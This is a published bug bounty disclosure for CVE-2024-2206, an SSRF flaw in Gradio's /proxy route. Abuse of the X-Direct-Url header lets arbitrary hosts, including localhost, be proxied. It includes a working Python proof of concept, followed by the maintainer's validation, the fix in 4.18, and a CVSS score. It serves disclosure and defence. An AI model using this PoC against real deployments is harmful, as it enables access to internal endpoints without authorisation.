

Insufficient SSRF protection allow gradio app to proxy arbitrary URLs in gradio-app/gradio

✓ Valid

Reported on Oct 8th 2023

Description

The `/proxy` route is designed to act as a reverse proxy for specific URLs. Inside the route handler, it attempts to build a proxy request using the `build_proxy_request(url_path)` method:

```
def build_proxy_request(self, url_path):
    url = httpx.URL(url_path)
    assert self.blocks
    # Don't proxy a URL unless it's a URL specifically loaded by the user using
    # gr.load() to prevent SSRF or harvesting of HF tokens by malicious Spaces.
    safe_urls = {httpx.URL(root).host for root in self.blocks.root_urls} | {
        httpx.URL(root).host for root in self.replica_urls
    }
    is_safe_url = url.host in safe_urls
    if not is_safe_url:
        raise PermissionError("This URL cannot be proxied.")
    is_hf_url = url.host.endswith(".hf.space")
    headers = {}
    if Context.hf_token is not None and is_hf_url:
        headers["Authorization"] = f"Bearer {Context.hf_token}"
    rp_req = client.build_request("GET", url, headers=headers)
    return rp_req
```

The `build_proxy_request` function checks if the url is considered safe for proxying by comparing its host to a set of safe URLs. Safe URLs are obtained from `self.blocks.root_urls` and `self.replica_urls`. If the url is not in the set of safe URLs, it raises a `PermissionError` to prevent unauthorized proxying. However, this check is insufficient where the vulnerability arises from the fact that an attacker can manipulate the `self.replica_urls` set by exploiting weaknesses in the application's handling of the `X-Direct-Url` header. More precisely, the application allows the addition of URLs into the `self.replica_urls` set by using the `X-Direct-Url` header in incoming requests to the `/` and `/config` routes:

```
@app.get("/config", dependencies=[Depends(login_check)])
async def get_config(request: fastapi.Request):
    config = app.get_blocks().config

    # Handles the case where the app is running on Hugging Face Spaces with
    # multiple replicas. See `set_replica_url_in_config` for more details.
```

```

        replica_url = request.headers.get("X-Direct-Url")
        if utils.get_space() and replica_url:
            app.replica_urls.add(replica_url)
            async with app.lock:
                set_replica_url_in_config(config, replica_url, app.replica_urls)

    root_path = request.scope.get("root_path", "")
    config["root"] = root_path
    return config

```

PoC

```

import requests

url = "https://vvxhid-nothing.hf.space/" # Example app
p1 = "https://www.google.com/"
p2 = "http://127.0.0.1:7860/"

headers1 = {"X-Direct-Url": p1}
headers2 = {"X-Direct-Url": p2}

requests.get(url + "config/", headers=headers1) # add first proxy
requests.get(url + "config/", headers=headers1) # add second proxy

# Make requests
resp1 = requests.get(url + f"proxy={p1}")
resp2 = requests.get(url + f"proxy={p2}")

print("Google" in resp1.text)
print("gradio-app" in resp2.text)

```

Impact

- Users can use Gradio apps running on shared machines to proxy arbitrary URLs.
- Access internal endpoints if they exist within the huggingface space.

⚙️ We are processing your report and will contact the **gradio-app/gradio** team within 24 hours. 2 years ago



Abdelwahed Madani Yousfi commented 2 years ago

Researcher

The bug was initially reported on huntr.dev: <https://huntr.dev/bounties/4ec59edd-1561-43b3-bea7-20c9124f4cf8/>

✉️ We have contacted a member of the **gradio-app/gradio** team and are waiting to hear back 2 years ago

✉ We have sent a follow up to the **gradio-app/gradio** team. We will try again in 4 days. 2 years ago



✓ **Abubakar Abid** validated this vulnerability 2 years ago

Thanks @vvxhid, I agree this indeed is a security issue and we'll get it fixed.

\$ **vvxhid** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



Abdelwahed Madani Yousfi commented 2 years ago

Researcher

Hello @abidlabs, any updates regarding this issue?



❤ **Abubakar Abid** gave praise 2 years ago

Thanks, I looked at this but this was fixed as part of some unrelated refactoring of the code. Its no longer possible to use this vulnerability.

★ The researcher's credibility has slightly increased as a result of the maintainer's thanks: +1



✓ **Abubakar Abid** marked this as fixed in **4.18** with commit **49d9c4** 2 years ago

\$ The fix bounty has been dropped ✗

🔗 **CVE-2024-2206** assigned to this report. 2 years ago



📅 **Adam Nygate** set the scheduled publication date to Mar 27th 2024 UTC 2 years ago

⚠ We have sent a warning to the **gradio-app/gradio** team to inform them that this report will be published in 48 hours 2 years ago

📡 This vulnerability has now been published 2 years ago

🔗 **CVE-2024-2206** has now been published 2 years ago

[Sign in](#) to join this conversation

Published

Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF)

Severity

High (7.3)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	Low
Integrity	Low
Availability	Low

Open in visual CVSS calculator [↗](#)

Registry

Pypi

Affected Version

3.47.1

Visibility

Public

Status

Fixed

Disclosure Bounty

\$750

Fix Bounty

\$187.5

Found by



Abdelwahed Madani Yousfi

@vvxhid

MIDDLEWEIGHT



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.

